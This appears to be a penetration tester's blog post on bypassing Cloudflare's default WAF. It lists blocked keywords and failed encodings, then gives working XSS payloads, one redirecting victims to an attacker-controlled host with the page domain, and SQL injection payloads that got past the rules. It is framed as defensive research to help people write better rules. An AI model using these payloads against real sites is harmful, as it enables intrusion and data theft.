Cracking the Shield: WAF Bypass Techniques Unveiled
Introduction
Web Application Firewalls (WAFs) play a crucial role in safeguarding web applications by filtering and monitoring HTTP traffic between a web application and the internet. They are designed to protect against various web-based attacks, such as SQL injection, cross-site scripting (XSS), and other attacks.
However, as with any security measure, WAFs are not infallible. The constant evolution of attack techniques means that even the most robust WAFs can be bypassed under certain conditions. In my latest research, I delve into the world of WAF bypass techniques, uncovering methods that attackers can use to evade these defenses.
The goal of this research is to identify and demonstrate various techniques for bypassing WAF protections, thereby highlighting potential weaknesses and helping security professionals better defend their applications. By understanding how WAFs can be circumvented, we can improve their configurations and rulesets, ensuring stronger protection against emerging threats.
Background
There are many WAFs to choose from, each with its own strengths and weaknesses. However, one thing they have in common is that they attempt to protect against the OWASP Top 10 through the use of rulesets . For the sake of consistency during the research, the default implementation of Cloudflare was used, with paranoia and anomaly levels set to default.
Methodology
When researching WAF bypasses, it is crucial to first understand which words or inputs are blocked. During my research, I compiled a list of blocked phrases and words for some of the more common vulnerabilities. By identifying what WAFs look for when determining if a request is malicious, we can start finding ways to modify those keywords specifically to take advantage of the system or platform we are pen testing.
The common methods you will see in this post include:
- Character Encoding
- Syntax Inference
- Phrase Obfuscation
- Ruleset Logic Flaws
We will go through both successful attempts as well as blocked attempts to understand how the request was either blocked or successful.
Findings
XSS
To start off exploring the findings, let’s begin with one of the most common vulnerabilities: Cross-Site Scripting (XSS). Through iterations of payloads sent to the research web app, we could come up with a list of blocked phrases and tags (this is by no means an exhaustive list, and only pertains to the bypasses found):
Keyword | Status |
---|---|
javasrcipt* | Blocked |
on*=* | Blocked |
<[/]script> | Blocked |
In attempts to bypass these filters, I first tried using URL encoding and HTML encoding payloads. These methods involve encoding special characters to see if the WAF can be tricked into allowing the payload through. Some examples of failed test cases and their relevant techniques used to attempt bypassing the WAF:
- Using a mix of URL & HTML Encoding
%6a%61%76%61%73%63%72%69%70%74%3aalert(1)
- HTML Encoding javascript then URL encoding ‘&’ and ‘#’
<a/href=%26%23x6a;%26%23x61;%26%23x76;%26%23x61;%26%23x73;%26%23x63;%26%23x72;%26%23x69;%26%23x70;%26%23x74;%26%23x0a;:alert(1)>please%20click%20here</a>
- Replacing JavaScript with a JSFuck
payload
<svg/onload='[][(![]+[])[+[]]+(![]...[+[]]])'>
The reason the simple test cases above failed is that these are methods Cloudflare has anticipated. Rules for these common bypass attempts already exist. That’s the catch with coming up with bypasses: we need to develop a payload that was not thought of when the rulesets were created. This requires us to either get creative or get lucky.
Let’s look at some bypasses that worked successfully:
- Using an
<object>
Tag with Base64 EncodingThis payload uses an<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==" type="text/html"></object>
<object>
tag to embed a base64 encoded script. The WAF did not recognize this as a threat, allowing the embedded script to execute. - Leveraging an
<svg>
Tag with an onload Event, with some light obfuscationThis payload uses an<svg/onload=location/**/='https://attacker.site/'+document.domain>
<svg>
tag with an onload event to execute JavaScript, redirecting a user to an attacker-controlled site. The use of/\*\*/
to bypass the filter helped evade detection by the WAF.
These successful bypasses demonstrate the necessity of continuously updating WAF rulesets and underscore the creativity (or in some cases, sheer luck) required to discover new bypass methods. This highlights that effective bypasses can vary widely, from highly technical exploits to simple oversights in the rulesets. Therefore, it is crucial to test even the most basic payloads against WAFs, as there may always be an overlooked vulnerability in the ruleset.
SQL Injection
In the case of compiling a set of bypasses for SQL injection, I encountered some difficulty. The reason behind this is Cloudflare was specifically blocking certain statements and keywords that you could not obfuscate too much; otherwise, the SQL statement itself would be incorrect. These keywords include:
Keyword | Status |
---|---|
SELECT* | Blocked |
UNION* | Blocked |
SLEEP* | Blocked |
Initial iterations of potential bypasses that did not work all followed a similar pattern: keywords, as mentioned above, were minimally obfuscated to keep the syntactic integrity of the malicious payloads:
- URL Encoding
- Injecting comments in between keywords
UN/*! */ION SE/*! */L/*! */ECT
- Confusing possible pattern matching
(1)UNION(select(1)
- Word Confusion
unUNIONion selSELECT
As seen above, a lot of the bypasses attempted tried keeping core syntactic rules while still trying to mangle payloads in some form or another. The next part is where things get weird for Cloudflare. During testing, the payloads that did bypass were in contradiction of the payloads that did not bypass. It seemed that the bypasses found for SQLi were primarily logic flaws on Cloudflare’s side or just certain common payloads not being blocked:
- 1=1 bypass, where it seems that Cloudflare did block numeric comparisons but not string comparisons:
or '1'='1'; -- -
- Blind SQLi Sleep bypass:
&&SLEEP(10); -- -
- Cloudflare does not block ORDER BY payloads:
ORDER BY 1; -- -
- If a custom rule exists for 1=1, the following could potentially bypass it. The reason for this is custom rules a lot of the time look for a combination of OR and 1=1 within a payload:
GROUP%20BY%20columnname%20HAVING%201=1%20; -- -
During testing, I was shell-shocked that the above payloads worked, seeing as Cloudflare was blocking the complex payloads but allowing the more common ones to get through. This really highlights the need for custom rules and having a system designed where the WAF is not solely dependent on rules not developed in an internal setting where proper discussion can happen around what they want to block on top of the already in place blocks set out by the rulesets.
Other Vulnerabilities
Some of the other vulnerabilities that were tested but no explicit rulesets existed for in the default OWASP ruleset for Cloudflare were:
- CSV Injection
- XML External Entity Injection (XXE)
- OS Command Injection
- Client-Side Template Injection (CSTI)
- Server-Side Template Injection (SSTI)
It should be noted, though, that custom rules can be developed that cater to the above-mentioned vulnerabilities. As of the date that this post is published, there were no default rules that catered towards these vulnerabilities.
Side Note
On a side note, I just want to take some time here to stress that a WAF will not fix the fact that a web application has vulnerabilities. WAFs are purely mitigation factors; they mitigate the chances and impact of vulnerabilities; they do not remediate them. If you have XSS on your web app and use a WAF, all it takes is for an attacker to bypass your seemingly impenetrable WAF as showcased in the numerous test cases above, and you are, for lack of a better term, f*cked.
“So don’t implement a WAF and think you are safe kids, let’s follow our ABCs and actually work to remediate any vulnerabilities in our web apps.” - Barney
Conclusion
To summarize what we learned today would be quite hard. Finding bypasses for WAFs and filters can be very hard and frustrating, but that’s what makes it an art. The need for a hacker to be artistic in the sense where they have to think out of the box and be creative is a commendable act. But as we also saw, sometimes bypasses occur due to oversights, and that is why educating people on what bypasses do exist is so critical so that we can have those people create custom rules that fix these bypasses.
I personally had a lot of fun doing research for my company in the WAF environment. It was a new experience and really shows a person who doesn’t interact with the blue team controls a lot as a consultant what really happens in the blue team environment for web applications. It also exposed me to how quickly things can become overly complex .
Resources
Cloudflares WAF API - https://developers.cloudflare.com/waf/custom-rules/custom-rulesets/create-api/
Cloudflares Paranoia and Threshold - https://developers.cloudflare.com/waf/managed-rules/reference/owasp-core-ruleset/concepts/
gprime31’s list of payloads [DEPRECATED] - https://github.com/gprime31/WAF-bypass-xss-payloads